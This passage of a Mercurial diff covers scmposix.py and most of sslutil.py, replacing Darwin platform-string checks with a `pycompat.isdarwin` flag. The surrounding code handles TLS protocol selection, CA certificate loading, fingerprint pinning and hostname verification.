     # We can't fstat() a pipe because Linux will always report 0.
     # So, we set the pipe to non-blocking mode and read everything
     # that's available.
     flags = fcntl.fcntl(pipe, fcntl.F_GETFL)
     flags |= os.O_NONBLOCK
     oldflags = fcntl.fcntl(pipe, fcntl.F_SETFL, flags)
 
     try:
         chunks = []
         while True:
             try:
                 s = pipe.read()
                 if not s:
                     break
                 chunks.append(s)
             except IOError:
                 break
 
         return ''.join(chunks)
     finally:
         fcntl.fcntl(pipe, fcntl.F_SETFL, oldflags)
 
 def bindunixsocket(sock, path):
     """Bind the UNIX domain socket to the specified path"""
     # use relative path instead of full path at bind() if possible, since
     # AF_UNIX path has very small length limit (107 chars) on common
     # platforms (see sys/un.h)
     dirname, basename = os.path.split(path)
     bakwdfd = None
     if dirname:
         bakwdfd = os.open('.', os.O_DIRECTORY)
         os.chdir(dirname)
     sock.bind(basename)
     if bakwdfd:
         os.fchdir(bakwdfd)
         os.close(bakwdfd)

mercurial/scmposix.py

@@ -1,85 +1,85 b''
 from __future__ import absolute_import
 
 import array
 import errno
 import fcntl
 import os
 import sys
 
 from . import (
     encoding,
     pycompat,
     util,
 )
 
 # BSD 'more' escapes ANSI color sequences by default. This can be disabled by
 # $MORE variable, but there's no compatible option with Linux 'more'. Given
 # OS X is widely used and most modern Unix systems would have 'less', setting
 # 'less' as the default seems reasonable.
 fallbackpager = 'less'
 
 def _rcfiles(path):
     rcs = [os.path.join(path, 'hgrc')]
     rcdir = os.path.join(path, 'hgrc.d')
     try:
         rcs.extend([os.path.join(rcdir, f)
                     for f, kind in util.listdir(rcdir)
                     if f.endswith(".rc")])
     except OSError:
         pass
     return rcs
 
 def systemrcpath():
     path = []
     if pycompat.sysplatform == 'plan9':
         root = 'lib/mercurial'
     else:
         root = 'etc/mercurial'
     # old mod_python does not set sys.argv
     if len(getattr(sys, 'argv', [])) > 0:
         p = os.path.dirname(os.path.dirname(pycompat.sysargv[0]))
         if p != '/':
             path.extend(_rcfiles(os.path.join(p, root)))
     path.extend(_rcfiles('/' + root))
     return path
 
 def userrcpath():
     if pycompat.sysplatform == 'plan9':
         return [encoding.environ['home'] + '/lib/hgrc']
-    elif pycompat.sysplatform == 'darwin':
+    elif pycompat.isdarwin:
         return [os.path.expanduser('~/.hgrc')]
     else:
         confighome = encoding.environ.get('XDG_CONFIG_HOME')
         if confighome is None or not os.path.isabs(confighome):
             confighome = os.path.expanduser('~/.config')
 
         return [os.path.expanduser('~/.hgrc'),
                 os.path.join(confighome, 'hg', 'hgrc')]
 
 def termsize(ui):
     try:
         import termios
         TIOCGWINSZ = termios.TIOCGWINSZ  # unavailable on IRIX (issue3449)
     except (AttributeError, ImportError):
         return 80, 24
 
     for dev in (ui.ferr, ui.fout, ui.fin):
         try:
             try:
                 fd = dev.fileno()
             except AttributeError:
                 continue
             if not os.isatty(fd):
                 continue
             arri = fcntl.ioctl(fd, TIOCGWINSZ, '\0' * 8)
             height, width = array.array(r'h', arri)[:2]
             if width > 0 and height > 0:
                 return width, height
         except ValueError:
             pass
         except IOError as e:
             if e[0] == errno.EINVAL:
                 pass
             else:
                 raise
     return 80, 24

mercurial/sslutil.py

@@ -1,865 +1,865 b''
 # sslutil.py - SSL handling for mercurial
 #
 # Copyright 2005, 2006, 2007, 2008 Matt Mackall <[e-mail]>
 # Copyright 2006, 2007 Alexis S. L. Carvalho <[e-mail]>
 # Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import hashlib
 import os
 import re
 import ssl
 
 from .i18n import _
 from . import (
     error,
     pycompat,
     util,
 )
 
 # Python 2.7.9+ overhauled the built-in SSL/TLS features of Python. It added
 # support for TLS 1.1, TLS 1.2, SNI, system CA stores, etc. These features are
 # all exposed via the "ssl" module.
 #
 # Depending on the version of Python being used, SSL/TLS support is either
 # modern/secure or legacy/insecure. Many operations in this module have
 # separate code paths depending on support in Python.
 
 configprotocols = {
     'tls1.0',
     'tls1.1',
     'tls1.2',
 }
 
 hassni = getattr(ssl, 'HAS_SNI', False)
 
 # TLS 1.1 and 1.2 may not be supported if the OpenSSL Python is compiled
 # against doesn't support them.
 supportedprotocols = {'tls1.0'}
 if util.safehasattr(ssl, 'PROTOCOL_TLSv1_1'):
     supportedprotocols.add('tls1.1')
 if util.safehasattr(ssl, 'PROTOCOL_TLSv1_2'):
     supportedprotocols.add('tls1.2')
 
 try:
     # ssl.SSLContext was added in 2.7.9 and presence indicates modern
     # SSL/TLS features are available.
     SSLContext = ssl.SSLContext
     modernssl = True
     _canloaddefaultcerts = util.safehasattr(SSLContext, 'load_default_certs')
 except AttributeError:
     modernssl = False
     _canloaddefaultcerts = False
 
     # We implement SSLContext using the interface from the standard library.
     class SSLContext(object):
         def __init__(self, protocol):
             # From the public interface of SSLContext
             self.protocol = protocol
             self.check_hostname = False
             self.options = 0
             self.verify_mode = ssl.CERT_NONE
 
             # Used by our implementation.
             self._certfile = None
             self._keyfile = None
             self._certpassword = None
             self._cacerts = None
             self._ciphers = None
 
         def load_cert_chain(self, certfile, keyfile=None, password=None):
             self._certfile = certfile
             self._keyfile = keyfile
             self._certpassword = password
 
         def load_default_certs(self, purpose=None):
             pass
 
         def load_verify_locations(self, cafile=None, capath=None, cadata=None):
             if capath:
                 raise error.Abort(_('capath not supported'))
             if cadata:
                 raise error.Abort(_('cadata not supported'))
 
             self._cacerts = cafile
 
         def set_ciphers(self, ciphers):
             self._ciphers = ciphers
 
         def wrap_socket(self, socket, server_hostname=None, server_side=False):
             # server_hostname is unique to SSLContext.wrap_socket and is used
             # for SNI in that context. So there's nothing for us to do with it
             # in this legacy code since we don't support SNI.
 
             args = {
                 'keyfile': self._keyfile,
                 'certfile': self._certfile,
                 'server_side': server_side,
                 'cert_reqs': self.verify_mode,
                 'ssl_version': self.protocol,
                 'ca_certs': self._cacerts,
                 'ciphers': self._ciphers,
             }
 
             return ssl.wrap_socket(socket, **args)
 
 def _hostsettings(ui, hostname):
     """Obtain security settings for a hostname.
 
     Returns a dict of settings relevant to that hostname.
     """
     s = {
         # Whether we should attempt to load default/available CA certs
         # if an explicit ``cafile`` is not defined.
         'allowloaddefaultcerts': True,
         # List of 2-tuple of (hash algorithm, hash).
         'certfingerprints': [],
         # Path to file containing concatenated CA certs. Used by
         # SSLContext.load_verify_locations().
         'cafile': None,
         # Whether certificate verification should be disabled.
         'disablecertverification': False,
         # Whether the legacy [hostfingerprints] section has data for this host.
         'legacyfingerprint': False,
         # PROTOCOL_* constant to use for SSLContext.__init__.
         'protocol': None,
         # String representation of minimum protocol to be used for UI
         # presentation.
         'protocolui': None,
         # ssl.CERT_* constant used by SSLContext.verify_mode.
         'verifymode': None,
         # Defines extra ssl.OP* bitwise options to set.
         'ctxoptions': None,
         # OpenSSL Cipher List to use (instead of default).
         'ciphers': None,
     }
 
     # Allow minimum TLS protocol to be specified in the config.
     def validateprotocol(protocol, key):
         if protocol not in configprotocols:
             raise error.Abort(
                 _('unsupported protocol from hostsecurity.%s: %s') %
                 (key, protocol),
                 hint=_('valid protocols: %s') %
                      ' '.join(sorted(configprotocols)))
 
     # We default to TLS 1.1+ where we can because TLS 1.0 has known
     # vulnerabilities (like BEAST and POODLE). We allow users to downgrade to
     # TLS 1.0+ via config options in case a legacy server is encountered.
     if 'tls1.1' in supportedprotocols:
         defaultprotocol = 'tls1.1'
     else:
         # Let people know they are borderline secure.
         # We don't document this config option because we want people to see
         # the bold warnings on the web site.
         # internal config: hostsecurity.disabletls10warning
         if not ui.configbool('hostsecurity', 'disabletls10warning'):
             ui.warn(_('warning: connecting to %s using legacy security '
                       'technology (TLS 1.0); see '
                       'https://mercurial-scm.org/wiki/SecureConnections for '
                       'more info\n') % hostname)
         defaultprotocol = 'tls1.0'
 
     key = 'minimumprotocol'
     protocol = ui.config('hostsecurity', key, defaultprotocol)
     validateprotocol(protocol, key)
 
     key = '%s:minimumprotocol' % hostname
     protocol = ui.config('hostsecurity', key, protocol)
     validateprotocol(protocol, key)
 
     # If --insecure is used, we allow the use of TLS 1.0 despite config options.
     # We always print a "connection security to %s is disabled..." message when
     # --insecure is used. So no need to print anything more here.
     if ui.insecureconnections:
         protocol = 'tls1.0'
 
     s['protocol'], s['ctxoptions'], s['protocolui'] = protocolsettings(protocol)
 
     ciphers = ui.config('hostsecurity', 'ciphers')
     ciphers = ui.config('hostsecurity', '%s:ciphers' % hostname, ciphers)
     s['ciphers'] = ciphers
 
     # Look for fingerprints in [hostsecurity] section. Value is a list
     # of <alg>:<fingerprint> strings.
     fingerprints = ui.configlist('hostsecurity', '%s:fingerprints' % hostname,
                                  [])
     for fingerprint in fingerprints:
         if not (fingerprint.startswith(('sha1:', 'sha256:', 'sha512:'))):
             raise error.Abort(_('invalid fingerprint for %s: %s') % (
                                 hostname, fingerprint),
                               hint=_('must begin with "sha1:", "sha256:", '
                                      'or "sha512:"'))
 
         alg, fingerprint = fingerprint.split(':', 1)
         fingerprint = fingerprint.replace(':', '').lower()
         s['certfingerprints'].append((alg, fingerprint))
 
     # Fingerprints from [hostfingerprints] are always SHA-1.
     for fingerprint in ui.configlist('hostfingerprints', hostname, []):
         fingerprint = fingerprint.replace(':', '').lower()
         s['certfingerprints'].append(('sha1', fingerprint))
         s['legacyfingerprint'] = True
 
     # If a host cert fingerprint is defined, it is the only thing that
     # matters. No need to validate CA certs.
     if s['certfingerprints']:
         s['verifymode'] = ssl.CERT_NONE
         s['allowloaddefaultcerts'] = False
 
     # If --insecure is used, don't take CAs into consideration.
     elif ui.insecureconnections:
         s['disablecertverification'] = True
         s['verifymode'] = ssl.CERT_NONE
         s['allowloaddefaultcerts'] = False
 
     if ui.configbool('devel', 'disableloaddefaultcerts'):
         s['allowloaddefaultcerts'] = False
 
     # If both fingerprints and a per-host ca file are specified, issue a warning
     # because users should not be surprised about what security is or isn't
     # being performed.
     cafile = ui.config('hostsecurity', '%s:verifycertsfile' % hostname)
     if s['certfingerprints'] and cafile:
         ui.warn(_('(hostsecurity.%s:verifycertsfile ignored when host '
                   'fingerprints defined; using host fingerprints for '
                   'verification)\n') % hostname)
 
     # Try to hook up CA certificate validation unless something above
     # makes it not necessary.
     if s['verifymode'] is None:
         # Look at per-host ca file first.
         if cafile:
             cafile = util.expandpath(cafile)
             if not os.path.exists(cafile):
                 raise error.Abort(_('path specified by %s does not exist: %s') %
                                   ('hostsecurity.%s:verifycertsfile' % hostname,
                                    cafile))
             s['cafile'] = cafile
         else:
             # Find global certificates file in config.
             cafile = ui.config('web', 'cacerts')
 
             if cafile:
                 cafile = util.expandpath(cafile)
                 if not os.path.exists(cafile):
                     raise error.Abort(_('could not find web.cacerts: %s') %
                                       cafile)
             elif s['allowloaddefaultcerts']:
                 # CAs not defined in config. Try to find system bundles.
                 cafile = _defaultcacerts(ui)
                 if cafile:
                     ui.debug('using %s for CA file\n' % cafile)
 
             s['cafile'] = cafile
 
         # Require certificate validation if CA certs are being loaded and
         # verification hasn't been disabled above.
         if cafile or (_canloaddefaultcerts and s['allowloaddefaultcerts']):
             s['verifymode'] = ssl.CERT_REQUIRED
         else:
             # At this point we don't have a fingerprint, aren't being
             # explicitly insecure, and can't load CA certs. Connecting
             # is insecure. We allow the connection and abort during
             # validation (once we have the fingerprint to print to the
             # user).
             s['verifymode'] = ssl.CERT_NONE
 
     assert s['protocol'] is not None
     assert s['ctxoptions'] is not None
     assert s['verifymode'] is not None
 
     return s
 
 def protocolsettings(protocol):
     """Resolve the protocol for a config value.
 
     Returns a 3-tuple of (protocol, options, ui value) where the first
     2 items are values used by SSLContext and the last is a string value
     of the ``minimumprotocol`` config option equivalent.
     """
     if protocol not in configprotocols:
         raise ValueError('protocol value not supported: %s' % protocol)
 
     # Despite its name, PROTOCOL_SSLv23 selects the highest protocol
     # that both ends support, including TLS protocols. On legacy stacks,
     # the highest it likely goes is TLS 1.0. On modern stacks, it can
     # support TLS 1.2.
     #
     # The PROTOCOL_TLSv* constants select a specific TLS version
     # only (as opposed to multiple versions). So the method for
     # supporting multiple TLS versions is to use PROTOCOL_SSLv23 and
     # disable protocols via SSLContext.options and OP_NO_* constants.
     # However, SSLContext.options doesn't work unless we have the
     # full/real SSLContext available to us.
     if supportedprotocols == {'tls1.0'}:
         if protocol != 'tls1.0':
             raise error.Abort(_('current Python does not support protocol '
                                 'setting %s') % protocol,
                               hint=_('upgrade Python or disable setting since '
                                      'only TLS 1.0 is supported'))
 
         return ssl.PROTOCOL_TLSv1, 0, 'tls1.0'
 
     # WARNING: returned options don't work unless the modern ssl module
     # is available. Be careful when adding options here.
 
     # SSLv2 and SSLv3 are broken. We ban them outright.
     options = ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3
 
     if protocol == 'tls1.0':
         # Defaults above are to use TLS 1.0+
         pass
     elif protocol == 'tls1.1':
         options |= ssl.OP_NO_TLSv1
     elif protocol == 'tls1.2':
         options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
     else:
         raise error.Abort(_('this should not happen'))
 
     # Prevent CRIME.
     # There is no guarantee this attribute is defined on the module.
     options |= getattr(ssl, 'OP_NO_COMPRESSION', 0)
 
     return ssl.PROTOCOL_SSLv23, options, protocol
 
 def wrapsocket(sock, keyfile, certfile, ui, serverhostname=None):
     """Add SSL/TLS to a socket.
 
     This is a glorified wrapper for ``ssl.wrap_socket()``. It makes sane
     choices based on what security options are available.
 
     In addition to the arguments supported by ``ssl.wrap_socket``, we allow
     the following additional arguments:
 
     * serverhostname - The expected hostname of the remote server. If the
       server (and client) support SNI, this tells the server which certificate
       to use.
     """
     if not serverhostname:
         raise error.Abort(_('serverhostname argument is required'))
 
     for f in (keyfile, certfile):
         if f and not os.path.exists(f):
             raise error.Abort(_('certificate file (%s) does not exist; '
                                 'cannot connect to %s') % (f, serverhostname),
                               hint=_('restore missing file or fix references '
                                      'in Mercurial config'))
 
     settings = _hostsettings(ui, serverhostname)
 
     # We can't use ssl.create_default_context() because it calls
     # load_default_certs() unless CA arguments are passed to it. We want to
     # have explicit control over CA loading because implicitly loading
     # CAs may undermine the user's intent. For example, a user may define a CA
     # bundle with a specific CA cert removed. If the system/default CA bundle
     # is loaded and contains that removed CA, you've just undone the user's
     # choice.
     sslcontext = SSLContext(settings['protocol'])
 
     # This is a no-op unless using modern ssl.
     sslcontext.options |= settings['ctxoptions']
 
     # This still works on our fake SSLContext.
     sslcontext.verify_mode = settings['verifymode']
 
     if settings['ciphers']:
         try:
             sslcontext.set_ciphers(settings['ciphers'])
         except ssl.SSLError as e:
             raise error.Abort(_('could not set ciphers: %s') % e.args[0],
                               hint=_('change cipher string (%s) in config') %
                                    settings['ciphers'])
 
     if certfile is not None:
         def password():
             f = keyfile or certfile
             return ui.getpass(_('passphrase for %s: ') % f, '')
         sslcontext.load_cert_chain(certfile, keyfile, password)
 
     if settings['cafile'] is not None:
         try:
             sslcontext.load_verify_locations(cafile=settings['cafile'])
         except ssl.SSLError as e:
             if len(e.args) == 1: # pypy has different SSLError args
                 msg = e.args[0]
             else:
                 msg = e.args[1]
             raise error.Abort(_('error loading CA file %s: %s') % (
                               settings['cafile'], msg),
                               hint=_('file is empty or malformed?'))
         caloaded = True
     elif settings['allowloaddefaultcerts']:
         # This is a no-op on old Python.
         sslcontext.load_default_certs()
         caloaded = True
     else:
         caloaded = False
 
     try:
         sslsocket = sslcontext.wrap_socket(sock, server_hostname=serverhostname)
     except ssl.SSLError as e:
         # If we're doing certificate verification and no CA certs are loaded,
         # that is almost certainly the reason why verification failed. Provide
         # a hint to the user.
         # Only modern ssl module exposes SSLContext.get_ca_certs() so we can
         # only show this warning if modern ssl is available.
         # The exception handler is here to handle bugs around cert attributes:
         # https://bugs.python.org/issue20916#msg213479.  (See issues5313.)
         # When the main 20916 bug occurs, 'sslcontext.get_ca_certs()' is a
         # non-empty list, but the following conditional is otherwise True.
         try:
             if (caloaded and settings['verifymode'] == ssl.CERT_REQUIRED and
                 modernssl and not sslcontext.get_ca_certs()):
                 ui.warn(_('(an attempt was made to load CA certificates but '
                           'none were loaded; see '
                           'https://mercurial-scm.org/wiki/SecureConnections '
                           'for how to configure Mercurial to avoid this '
                           'error)\n'))
         except ssl.SSLError:
             pass
         # Try to print more helpful error messages for known failures.
         if util.safehasattr(e, 'reason'):
             # This error occurs when the client and server don't share a
             # common/supported SSL/TLS protocol. We've disabled SSLv2 and SSLv3
             # outright. Hopefully the reason for this error is that we require
             # TLS 1.1+ and the server only supports TLS 1.0. Whatever the
             # reason, try to emit an actionable warning.
             if e.reason == 'UNSUPPORTED_PROTOCOL':
                 # We attempted TLS 1.0+.
                 if settings['protocolui'] == 'tls1.0':
                     # We support more than just TLS 1.0+. If this happens,
                     # the likely scenario is either the client or the server
                     # is really old. (e.g. server doesn't support TLS 1.0+ or
                     # client doesn't support modern TLS versions introduced
                     # several years from when this comment was written).
                     if supportedprotocols != {'tls1.0'}:
                         ui.warn(_(
                             '(could not communicate with %s using security '
                             'protocols %s; if you are using a modern Mercurial '
                             'version, consider contacting the operator of this '
                             'server; see '
                             'https://mercurial-scm.org/wiki/SecureConnections '
                             'for more info)\n') % (
                                 serverhostname,
                                 ', '.join(sorted(supportedprotocols))))
                     else:
                         ui.warn(_(
                             '(could not communicate with %s using TLS 1.0; the '
                             'likely cause of this is the server no longer '
                             'supports TLS 1.0 because it has known security '
                             'vulnerabilities; see '
                             'https://mercurial-scm.org/wiki/SecureConnections '
                             'for more info)\n') % serverhostname)
                 else:
                     # We attempted TLS 1.1+. We can only get here if the client
                     # supports the configured protocol. So the likely reason is
                     # the client wants better security than the server can
                     # offer.
                     ui.warn(_(
                         '(could not negotiate a common security protocol (%s+) '
                         'with %s; the likely cause is Mercurial is configured '
                         'to be more secure than the server can support)\n') % (
                         settings['protocolui'], serverhostname))
                     ui.warn(_('(consider contacting the operator of this '
                               'server and ask them to support modern TLS '
                               'protocol versions; or, set '
                               'hostsecurity.%s:minimumprotocol=tls1.0 to allow '
                               'use of legacy, less secure protocols when '
                               'communicating with this server)\n') %
                             serverhostname)
                     ui.warn(_(
                         '(see https://mercurial-scm.org/wiki/SecureConnections '
                         'for more info)\n'))
 
             elif (e.reason == 'CERTIFICATE_VERIFY_FAILED' and
                 pycompat.iswindows):
 
                 ui.warn(_('(the full certificate chain may not be available '
                           'locally; see "hg help debugssl")\n'))
         raise
 
     # check if wrap_socket failed silently because socket had been
     # closed
     # - see http://bugs.python.org/issue13721
     if not sslsocket.cipher():
         raise error.Abort(_('ssl connection failed'))
 
     sslsocket._hgstate = {
         'caloaded': caloaded,
         'hostname': serverhostname,
         'settings': settings,
         'ui': ui,
     }
 
     return sslsocket
 
 def wrapserversocket(sock, ui, certfile=None, keyfile=None, cafile=None,
                      requireclientcert=False):
     """Wrap a socket for use by servers.
 
     ``certfile`` and ``keyfile`` specify the files containing the certificate's
     public and private keys, respectively. Both keys can be defined in the same
     file via ``certfile`` (the private key must come first in the file).
 
     ``cafile`` defines the path to certificate authorities.
 
     ``requireclientcert`` specifies whether to require client certificates.
 
     Typically ``cafile`` is only defined if ``requireclientcert`` is true.
     """
     # This function is not used much by core Mercurial, so the error messaging
     # doesn't have to be as detailed as for wrapsocket().
     for f in (certfile, keyfile, cafile):
         if f and not os.path.exists(f):
             raise error.Abort(_('referenced certificate file (%s) does not '
                                 'exist') % f)
 
     protocol, options, _protocolui = protocolsettings('tls1.0')
 
     # This config option is intended for use in tests only. It is a giant
     # footgun to kill security. Don't define it.
     exactprotocol = ui.config('devel', 'serverexactprotocol')
     if exactprotocol == 'tls1.0':
         protocol = ssl.PROTOCOL_TLSv1
     elif exactprotocol == 'tls1.1':
         if 'tls1.1' not in supportedprotocols:
             raise error.Abort(_('TLS 1.1 not supported by this Python'))
         protocol = ssl.PROTOCOL_TLSv1_1
     elif exactprotocol == 'tls1.2':
         if 'tls1.2' not in supportedprotocols:
             raise error.Abort(_('TLS 1.2 not supported by this Python'))
         protocol = ssl.PROTOCOL_TLSv1_2
     elif exactprotocol:
         raise error.Abort(_('invalid value for serverexactprotocol: %s') %
                           exactprotocol)
 
     if modernssl:
         # We /could/ use create_default_context() here since it doesn't load
         # CAs when configured for client auth. However, it is hard-coded to
         # use ssl.PROTOCOL_SSLv23 which may not be appropriate here.
         sslcontext = SSLContext(protocol)
         sslcontext.options |= options
 
         # Improve forward secrecy.
         sslcontext.options |= getattr(ssl, 'OP_SINGLE_DH_USE', 0)
         sslcontext.options |= getattr(ssl, 'OP_SINGLE_ECDH_USE', 0)
 
         # Use the list of more secure ciphers if found in the ssl module.
         if util.safehasattr(ssl, '_RESTRICTED_SERVER_CIPHERS'):
             sslcontext.options |= getattr(ssl, 'OP_CIPHER_SERVER_PREFERENCE', 0)
             sslcontext.set_ciphers(ssl._RESTRICTED_SERVER_CIPHERS)
     else:
         sslcontext = SSLContext(ssl.PROTOCOL_TLSv1)
 
     if requireclientcert:
         sslcontext.verify_mode = ssl.CERT_REQUIRED
     else:
         sslcontext.verify_mode = ssl.CERT_NONE
 
     if certfile or keyfile:
         sslcontext.load_cert_chain(certfile=certfile, keyfile=keyfile)
 
     if cafile:
         sslcontext.load_verify_locations(cafile=cafile)
 
     return sslcontext.wrap_socket(sock, server_side=True)
 
 class wildcarderror(Exception):
     """Represents an error parsing wildcards in DNS name."""
 
 def _dnsnamematch(dn, hostname, maxwildcards=1):
     """Match DNS names according RFC 6125 section 6.4.3.
 
     This code is effectively copied from CPython's ssl._dnsname_match.
 
     Returns a bool indicating whether the expected hostname matches
     the value in ``dn``.
     """
     pats = []
     if not dn:
         return False
 
     pieces = dn.split(r'.')
     leftmost = pieces[0]
     remainder = pieces[1:]
     wildcards = leftmost.count('*')
     if wildcards > maxwildcards:
         raise wildcarderror(
             _('too many wildcards in certificate DNS name: %s') % dn)
 
     # speed up common case w/o wildcards
     if not wildcards:
         return dn.lower() == hostname.lower()
 
     # RFC 6125, section 6.4.3, subitem 1.
     # The client SHOULD NOT attempt to match a presented identifier in which
     # the wildcard character comprises a label other than the left-most label.
     if leftmost == '*':
         # When '*' is a fragment by itself, it matches a non-empty dotless
         # fragment.
         pats.append('[^.]+')
     elif leftmost.startswith('xn--') or hostname.startswith('xn--'):
         # RFC 6125, section 6.4.3, subitem 3.
         # The client SHOULD NOT attempt to match a presented identifier
         # where the wildcard character is embedded within an A-label or
         # U-label of an internationalized domain name.
         pats.append(re.escape(leftmost))
     else:
         # Otherwise, '*' matches any dotless string, e.g. www*
         pats.append(re.escape(leftmost).replace(r'\*', '[^.]*'))
 
     # add the remaining fragments, ignore any wildcards
     for frag in remainder:
         pats.append(re.escape(frag))
 
     pat = re.compile(r'\A' + r'\.'.join(pats) + r'\Z', re.IGNORECASE)
     return pat.match(hostname) is not None
 
 def _verifycert(cert, hostname):
     '''Verify that cert (in socket.getpeercert() format) matches hostname.
     CRLs is not handled.
 
     Returns error message if any problems are found and None on success.
     '''
     if not cert:
         return _('no certificate received')
 
     dnsnames = []
     san = cert.get('subjectAltName', [])
     for key, value in san:
         if key == 'DNS':
             try:
                 if _dnsnamematch(value, hostname):
                     return
             except wildcarderror as e:
                 return e.args[0]
 
             dnsnames.append(value)
 
     if not dnsnames:
         # The subject is only checked when there is no DNS in subjectAltName.
         for sub in cert.get('subject', []):
             for key, value in sub:
                 # According to RFC 2818 the most specific Common Name must
                 # be used.
                 if key == 'commonName':
                     # 'subject' entries are unicode.
                     try:
                         value = value.encode('ascii')
                     except UnicodeEncodeError:
                         return _('IDN in certificate not supported')
 
                     try:
                         if _dnsnamematch(value, hostname):
                             return
                     except wildcarderror as e:
                         return e.args[0]
 
                     dnsnames.append(value)
 
     if len(dnsnames) > 1:
         return _('certificate is for %s') % ', '.join(dnsnames)
     elif len(dnsnames) == 1:
         return _('certificate is for %s') % dnsnames[0]
     else:
         return _('no commonName or subjectAltName found in certificate')
 
 def _plainapplepython():
     """return true if this seems to be a pure Apple Python that
     * is unfrozen and presumably has the whole mercurial module in the file
       system
     * presumably is an Apple Python that uses Apple OpenSSL which has patches
       for using system certificate store CAs in addition to the provided
       cacerts file
     """
-    if (pycompat.sysplatform != 'darwin' or
-                        util.mainfrozen() or not pycompat.sysexecutable):
+    if (not pycompat.isdarwin or util.mainfrozen() or
+        not pycompat.sysexecutable):
         return False
     exe = os.path.realpath(pycompat.sysexecutable).lower()
     return (exe.startswith('/usr/bin/python') or
             exe.startswith('/system/library/frameworks/python.framework/'))
 
 _systemcacertpaths = [
     # RHEL, CentOS, and Fedora
     '/etc/pki/tls/certs/ca-bundle.trust.crt',
     # Debian, Ubuntu, Gentoo
     '/etc/ssl/certs/ca-certificates.crt',
 ]
 
 def _defaultcacerts(ui):
     """return path to default CA certificates or None.
 
     It is assumed this function is called when the returned certificates
     file will actually be used to validate connections. Therefore this
     function may print warnings or debug messages assuming this usage.
 
     We don't print a message when the Python is able to load default
     CA certs because this scenario is detected at socket connect time.
     """
     # The "certifi" Python package provides certificates. If it is installed
     # and usable, assume the user intends it to be used and use it.
     try:
         import certifi
         certs = certifi.where()
         if os.path.exists(certs):
             ui.debug('using ca certificates from certifi\n')
             return certs
     except (ImportError, AttributeError):
         pass
 
     # On Windows, only the modern ssl module is capable of loading the system
     # CA certificates. If we're not capable of doing that, emit a warning
     # because we'll get a certificate verification error later and the lack
     # of loaded CA certificates will be the reason why.
     # Assertion: this code is only called if certificates are being verified.
     if pycompat.iswindows:
         if not _canloaddefaultcerts:
             ui.warn(_('(unable to load Windows CA certificates; see '
                       'https://mercurial-scm.org/wiki/SecureConnections for '
                       'how to configure Mercurial to avoid this message)\n'))
 
         return None
 
     # Apple's OpenSSL has patches that allow a specially constructed certificate
     # to load the system CA store. If we're running on Apple Python, use this
     # trick.
     if _plainapplepython():
         dummycert = os.path.join(
             os.path.dirname(pycompat.fsencode(__file__)), 'dummycert.pem')
         if os.path.exists(dummycert):
             return dummycert
 
     # The Apple OpenSSL trick isn't available to us. If Python isn't able to
     # load system certs, we're out of luck.
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         # FUTURE Consider looking for Homebrew or MacPorts installed certs
         # files. Also consider exporting the keychain certs to a file during
         # Mercurial install.
         if not _canloaddefaultcerts:
             ui.warn(_('(unable to load CA certificates; see '
                       'https://mercurial-scm.org/wiki/SecureConnections for '
                       'how to configure Mercurial to avoid this message)\n'))
         return None
 
     # / is writable on Windows. Out of an abundance of caution make sure
     # we're not on Windows because paths from _systemcacerts could be installed
     # by non-admin users.
     assert not pycompat.iswindows
 
     # Try to find CA certificates in well-known locations. We print a warning
     # when using a found file because we don't want too much silent magic
     # for security settings. The expectation is that proper Mercurial
     # installs will have the CA certs path defined at install time and the
     # installer/packager will make an appropriate decision on the user's
     # behalf. We only get here and perform this setting as a feature of
     # last resort.
     if not _canloaddefaultcerts:
         for path in _systemcacertpaths:
             if os.path.isfile(path):
                 ui.warn(_('(using CA certificates from %s; if you see this '
                           'message, your Mercurial install is not properly '
                           'configured; see '
                           'https://mercurial-scm.org/wiki/SecureConnections '
                           'for how to configure Mercurial to avoid this '
                           'message)\n') % path)
                 return path
 
         ui.warn(_('(unable to load CA certificates; see '
                   'https://mercurial-scm.org/wiki/SecureConnections for '
                   'how to configure Mercurial to avoid this message)\n'))
 
     return None
 
 def validatesocket(sock):
     """Validate a socket meets security requirements.
 
     The passed socket must have been created with ``wrapsocket()``.
     """
     host = sock._hgstate['hostname']
     ui = sock._hgstate['ui']
     settings = sock._hgstate['settings']
 
     try:
         peercert = sock.getpeercert(True)
         peercert2 = sock.getpeercert()
     except AttributeError:
         raise error.Abort(_('%s ssl connection error') % host)
 
     if not peercert:
         raise error.Abort(_('%s certificate error: '
                            'no certificate received') % host)
 
     if settings['disablecertverification']:
         # We don't print the certificate fingerprint because it shouldn't
         # be necessary: if the user requested certificate verification be
         # disabled, they presumably already saw a message about the inability
         # to verify the certificate and this message would have printed the
         # fingerprint. So printing the fingerprint here adds little to no
         # value.
         ui.warn(_('warning: connection security to %s is disabled per current '
                   'settings; communication is susceptible to eavesdropping '
                   'and tampering\n') % host)
         return
 
     # If a certificate fingerprint is pinned, use it and only it to
     # validate the remote cert.
     peerfingerprints = {
         'sha1': hashlib.sha1(peercert).hexdigest(),
         'sha256': hashlib.sha256(peercert).hexdigest(),
         'sha512': hashlib.sha512(peercert).hexdigest(),
     }
 
     def fmtfingerprint(s):
         return ':'.join([s[x:x + 2] for x in range(0, len(s), 2)])
 
     nicefingerprint = 'sha256:%s' % fmtfingerprint(peerfingerprints['sha256'])
 
     if settings['certfingerprints']:
         for hash, fingerprint in settings['certfingerprints']:
             if peerfingerprints[hash].lower() == fingerprint:
                 ui.debug('%s certificate matched fingerprint %s:%s\n' %
                          (host, hash, fmtfingerprint(fingerprint)))
                 if settings['legacyfingerprint']:
                     ui.warn(_('(SHA-1 fingerprint for %s found in legacy '
                               '[hostfingerprints] section; '
                               'if you trust this fingerprint, remove the old '
                               'SHA-1 fingerprint from [hostfingerprints] and '
                               'add the following entry to the new '
                               '[hostsecurity] section: %s:fingerprints=%s)\n') %
                             (host, host, nicefingerprint))
                 return
 
         # Pinned fingerprint didn't match. This is a fatal error.
         if settings['legacyfingerprint']:
             section = 'hostfingerprint'
             nice = fmtfingerprint(peerfingerprints['sha1'])
         else:
             section = 'hostsecurity'
             nice = '%s:%s' % (hash, fmtfingerprint(peerfingerprints[hash]))
         raise error.Abort(_('certificate for %s has unexpected '
                             'fingerprint %s') % (host, nice),
                           hint=_('check %s configuration') % section)
 
     # Security is enabled but no CAs are loaded. We can't establish trust
     # for the cert so abort.
     if not sock._hgstate['caloaded']:
         raise error.Abort(
             _('unable to verify security of %s (no loaded CA certificates); '
